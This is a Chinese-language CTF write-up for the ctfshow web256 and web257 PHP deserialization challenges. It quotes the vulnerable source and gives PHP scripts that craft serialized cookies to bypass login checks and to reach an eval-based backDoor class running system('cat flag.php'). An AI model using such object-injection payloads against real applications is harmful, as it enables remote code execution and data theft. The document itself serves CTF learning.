web256-257

这篇具有很好参考价值的文章主要介绍了web256-257。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

对于上一题,这题关键点在于让username不等于password

因为在类中都是单独用===比较,所以只需要将username重新赋值就好,最后再序列化编码输出

<?php
class ctfShowUser{
    public $username = 'asdfgh';
    public $isVip=true;
}
$a= serialize(new ctfShowUser());
echo urlencode($a);
?>
//O%3A11%3A%22ctfShowUser%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22asdfgh%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

最后如果没有cookie信息,就抓包后自行添加,然后GET方法传入username和password参数,就可以获得flag

web256-257

web257

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

代码审计

这个源码一共定义了三个类:

ctfshowuser类

类中设定了四个私有属性(表示只有在当前类中才能使用)

使用了两个php魔术方法:

  • __construct(在类被实例化后自动调用)将 $class 属性设置为 info 类的实例。

  • __destruct()(在类被销毁时被自动调用) 指向class的getInfo() 方法。因为class已经被赋值为info类的实例,则表示当前类销毁时,调用info类中的getInfo() 方法

web256-257

info类和baseDoor类

info类主要是定义了一个user的私有属性的初值,getinfo方法的目的是返回user属性值

web256-257

backDoor类定义了一个私有属性code和一个公共方法getinfo,作用是eval代码执行

解题步骤

根据以上代码审计,我们知道,要获得flag就要使用backDoor类的getinfo方法,去造成代码执行

我们得知反序列化结束就会,调用getInfo方法,不过是info类中的getinfo方法

php反序列化不能改变类的方法,但是可以更改类的属性去达成我们的目的

简单的构造方法,就是把类复制,把该删的删掉剩下的改就行了

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    #除了$class都用不到
    private $class = 'info';
    
    public function __construct(){
        $this->class=new info(); 
#因为我们要使用backDoor类的getinfo,所以我们可以将这里的info改为backDoor

    }
#无用
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}
#无用
class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
#要用的类,通过控制$code的值造成,任意代码执行
class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}
#最终代码
<?php
class ctfShowUser{
    private $class;
    public function __construct(){
        $this->class=new backDoor(); 
#因为我们要使用backDoor类的getinfo,所以我们可以将这里的info改为backDoor
    }
}
#要用的类,通过控制$code的值造成,任意代码执行
class backDoor{
    private $code = 'system("cat flag.php");'; 或者使用tac

    }
echo urlencode(serialize(new ctfShowUser()));

?>

tac是cat的相反方法:

表示反序输出文件的内容,文件的最后一行显示在第一行,它可以对调试日志文件提供了很大的帮助,扭转日志内容的时间顺序。

一开始查看wp我也不知道为啥要用tac,不用cat。直到我坚持使用cat,结果页面没有回显

web256-257

但是在最后回想起可能在源码中,结果真在,tac只是将最后一行作为第一行显示出来

web256-257

tac的在最后一行文章来源地址https://www.toymoban.com/news/detail-514061.html

web256-257

到了这里,关于web256-257的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 解决 php 连接mysql数据库时报错:Fatal error: Class ‘mysqli’ not found in问题【更新23.12.12】

    在使用php对mysql进行连接的过程中,出现了 Fatal error : Uncaught Error: Class \\\"mysqli\\\" not found in 的问题 这个错误通常表示您的PHP代码中缺少MySQL扩展或者没有启用MySQL扩展。 我们首先确认一下PHP环境中已经安装了MySQL扩展。检查一下自己的php路径下有没有php_mysqli.dll这个文件,如果有

    2024年02月03日
    浏览(49)
  • “write javaBean error, fastjson version 1.2.83, class org.apache.shiro.web.servlet.ShiroHttpServletR

    springboot 2.6.3 mybatis-spring-boot-starter 2.2.2 mybatis 3.5.10 fastjson 1.2.83 hutool-all 5.7.22 shiro-spring 1.8.0         \\\"write javaBean error, fastjson version 1.2.83, class org.apache.shiro.web.servlet.ShiroHttpServletRequest, method : getAsyncContext\\\" 具体信息,如下:         ShiroHttpServletRequest不能被fastjson1.2.83序列

    2024年01月19日
    浏览(37)
  • STM32 FLASH error: FLASH_FLAG_PGPERR & FLASH_FLAG_PGSERR

    在STM32F429 上用FLASH 模拟 EEPROM,工程是STM32CubeIDE里面创建和生成的。调试时发现第一次写FLASH时总是出错,第二次及之后再写FLASH则没问题。 写FLASH之前会擦除FLASH Sector,第一次擦除时出错。进一步跟踪,发现是调用 FLASH_WaitForLastOperation 时返回错误。以下是HAL库里FLASH_WaitForL

    2024年02月04日
    浏览(31)
  • 网络渗透CTF实践:获取靶机Web Developer 文件/root/flag.txt中flag

    实验目的:通过对目标靶机的渗透过程,了解CTF竞赛模式,理解CTF涵盖的知识范围,如MISC、PPC、WEB等,通过实践,加强团队协作能力,掌握初步CTF实战能力及信息收集能力。熟悉网络扫描、探测HTTP web服务、目录枚举、提权、图像信息提取、密码破解等相关工具的使用。 系统

    2024年01月23日
    浏览(44)
  • web和pwn题的简单动态flag实现

    作为一个出题人需要有一些觉悟,这周花了三天时间去研究Dockerfile的写法,主要还是为了实现动态flag,思路理顺了就会发现,原来Dockerfile和动态flag这么简单,这里直接现写两个简单的题目来演示一下。 web题,首先是需要按照常规逻辑写一个网页,这里就写一个带flag的简单

    2023年04月21日
    浏览(42)
  • 织梦dedecms安全漏洞include/common.inc.php漏洞解决方法

    1.受影响版本织梦dedecms 5.7、5.6、5.5。 2.漏洞文件/include/common.inc.php 3.DEDECMS的全局变量初始化存在漏洞,可以任意覆盖任意全局变量。 描述: 目标存在全局变量覆盖漏洞。 1.受影响版本DEDECMS 5.7、5.6、5.5。 2.漏洞文件/include/common.inc.php 3.DEDECMS的全局变量初始化存在漏洞,可以

    2024年02月04日
    浏览(92)
  • Stimulsoft Reports.WEB 2023.3.1 Crack

    Stimulsoft Reports.WEB Reporting tool for ASP.NET and .NET Core Stimulsoft Reports.WEB is a cross-platform reporting tool designed to create, build, show, print, and export reports in a web browser. The product includes everything you need to integrate reporting tools into your application built on ASP.NET, ASP.NET MVC, .NET Core, Angular, and Blazor platfor

    2024年02月12日
    浏览(37)
  • WEB:file_include

    背景知识         php伪协议         文件包含漏洞         php包含漏洞函数 题目 由题目可知这个是文件包含的题目,先用常用的协议先查看一下 payload 出现了  发现filter,base64被过滤了 尝试其他协议 根据filter的绕过方法,可以使用iconv过滤器进行,这个过滤器需要 php 支

    2024年02月15日
    浏览(43)
  • error RC1015: cannot open include file ‘afxres.h‘.

    缺少afxres.h头文件,网上找了一下大多收费或404,在这里直接把内容粘贴过来,自己新建一下放到C:Program Files (x86)Microsoft Visual Studio2017ProfessionalVCToolsMSVC14.16.27023atlmfcinclude即可,具体路径根据个人配置进行响应调整,最终目的是放到atlmfcinclude中。 // This is a part of the

    2024年02月03日
    浏览(39)
  • An unexpected error has occurred. Conda has prepared the above report

    今日在服务器上创建anaconda虚拟环境的时候,出现了如下报错  直接上解决方案 在终端中输入如下指令  如果出现以下提示,说明多了一个文件  输入以下指令删掉这个文件  随后可以正常完成虚拟环境的创建

    2024年02月13日
    浏览(49)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包